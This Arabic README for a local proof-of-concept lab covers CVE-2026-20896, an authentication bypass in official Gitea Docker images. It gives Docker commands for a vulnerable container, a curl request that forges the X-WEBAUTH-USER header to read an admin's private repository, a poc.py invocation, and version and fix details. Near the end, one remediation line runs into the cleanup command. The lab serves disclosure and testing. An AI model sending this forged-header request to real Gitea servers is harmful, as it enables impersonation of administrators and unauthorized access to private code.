
مختبر إثبات مفهوم وسكربتات Python/cURL توضح CVE-2026-20896، وهو تجاوز للمصادقة في صور Gitea Docker الرسمية عبر ترويسة X-WEBAUTH-USER.
[!WARNING] استخدم إثبات المفهوم هذا فقط في مختبر محلي أو ضد نظام مصرّح لك صراحةً باختباره.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 هو تجاوز للمصادقة في صور Gitea Docker الرسمية المتأثرة. عند تمكين مصادقة الوكيل العكسي (reverse-proxy)، فإن الإعداد REVERSE_PROXY_TRUSTED_PROXIES = * الذي تولّده الصورة يسمح لعميل قادر على الوصول إلى الواجهة الخلفية لـ Gitea بانتحال هوية مستخدم موجود عبر ترويسة X-WEBAUTH-USER.
ينشئ المختبر مسؤولاً باسم gitea-admin بكلمة مرور عشوائية ويخزّن CVE-2026-20896_AUTH_BYPASS_CONFIRMED في المستودع الخاص gitea-admin/private-proof. قراءة ذلك الملف دون معرفة كلمة مرور المسؤول العشوائية تُثبت تجاوز المصادقة.
| الفئة | الإصدار |
|---|---|
| المتأثرة | صور gitea/gitea Docker الرسمية ≤ 1.26.2 |
| أول إصدار مُصحّح | 1.26.3 |
| الموصى به | 1.26.4 أو أحدث |
يتطلب الإعداد المتأثر تمكين مصادقة الوكيل العكسي وأن تكون الواجهة الخلفية لـ Gitea قابلة للوصول مباشرةً، أو أن يحافظ وكيل upstream على ترويسة الهوية التي يوفّرها المهاجم. لا حاجة إلى حاوية وكيل عكسي لإعادة الإنتاج المحلية هذه.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
انتظر بضع ثوانٍ حتى تتم تهيئة Gitea ومستودع الإثبات الخاص.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
يؤدي الاستغلال الناجح إلى إرجاع CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
يقارن السكربت الطلبات غير المصادَق عليها، وغير الخاصة بالمسؤول، والطلبات المزوّرة الخاصة بالمسؤول، ويطبع VULNERABLE عند تأكيد تجاوز التفويض. يتطلب Python 3.10 أو أحدث ويستخدم المكتبة القياسية فقط.
REVERSE_PROXY_TRUSTED_PROXIES على عناوين الوكلاء الموثوقين.docker stop cve-2026-20896-gitea-vuln